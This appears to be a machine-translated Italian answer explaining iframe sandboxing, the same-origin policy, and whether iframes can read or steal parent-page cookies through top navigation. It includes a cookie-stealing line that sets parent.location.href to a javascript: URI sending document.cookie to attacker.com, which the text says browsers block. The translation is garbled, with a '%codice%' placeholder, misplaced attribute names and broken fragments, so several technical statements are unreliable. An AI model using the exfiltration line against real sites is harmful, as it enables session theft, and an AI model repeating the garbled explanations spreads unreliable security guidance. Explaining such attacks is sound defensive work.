La prima cosa da notare è che gli iframe (di default) non si comportano come se facessero parte della stessa origine, a meno che non siano . Se l'origine dell'iframe (nell'attributo src
) e l'origine genitore differiscono, l'iframe sarà sempre in modalità sandbox dal genitore. Questo impone un sacco di restrizioni, come non è in grado di accedere alla maggior parte delle proprietà dell'oggetto window.parent
.
Puoi fare in modo che una iframe di stessa origine abbia gli stessi tipi di restrizioni degli ifram di origine incrociata [1] usando l'attributo sandbox
. I valori di sandbox
sono eccezioni all'attributo sandbox , non al modello di sicurezza iframe in generale. Pertanto, allow-same-origin
non crea un iframe di origine incrociata come se fosse la stessa origine della pagina padre; semplicemente lascia che una iframe della stessa origine faccia la stessa cosa di origine che avrebbe potuto fare se non fosse sandboxing . Se genitore e iframe sono di origine incrociata, nessun importo di allow-same-origin
o allow-top-navigation
lo risolverà.
Per gli iframe che sono in realtà la stessa origine e non sono sandbox o hanno il valore dell'attributo allow-same-origin
sandbox, window.parent.document.cookie
ti consente di impostare o leggere (non%% di% in) cookie .
Un approccio che potresti aspettarti di lavorare con cross-origine è la navigazione top. Anche gli iframe di origine incrociata possono, se non sandbox (o se la sandbox ha HttpOnly
), impostare (ma non ottenere) l'URL del genitore. Potresti pensare che questo ti permetterebbe di fare qualcosa del genere:
%codice%
Se ciò succedeva, eseguiva javascript nel contesto della pagina padre ed estrapola i cookie di quella pagina (non HttpOnly).
Fortunatamente, gli sviluppatori di browser sono saggi per questo tipo di trucco. Un iframe (che è consentito la navigazione in alto) può puntare la pagina in alto su molte cose, ma un URI allow-top-navigation
non è uno di questi.
Consentire agli iframe non attendibili di effettuare la navigazione in alto è ancora pericoloso, naturalmente. Potrebbero non essere in grado di sfruttarlo per iniettare script o rubare i cookie (non senza una vulnerabilità di iniezione, come un XSS), ma possono fare cose come navigare l'utente verso un URL simile a quello che visualizza lo stesso contenuto ma in realtà un sito di phishing, per esempio.
Ovviamente, ciò non esclude i cookie, ma rivela semplicemente che sono leggibili, ma è un modo per sfruttare parent.location.href="javascript:window.location.href='https://attacker.com/?cookie=' + document.cookie"
[1] E poi alcuni; le restrizioni più estreme sono più severe delle restrizioni di origine incrociata di default. Ciò significa che gli iframe cross-origine sandboxing non sono necessariamente ridondanti. Ad esempio, gli iframe di origine incrociata sono per impostazione predefinita consentite la maggior parte delle forme di navigazione in alto e script in esecuzione che non provano a interagire con l'oggetto javascript:
, ma puoi bloccarli con il sandboxing.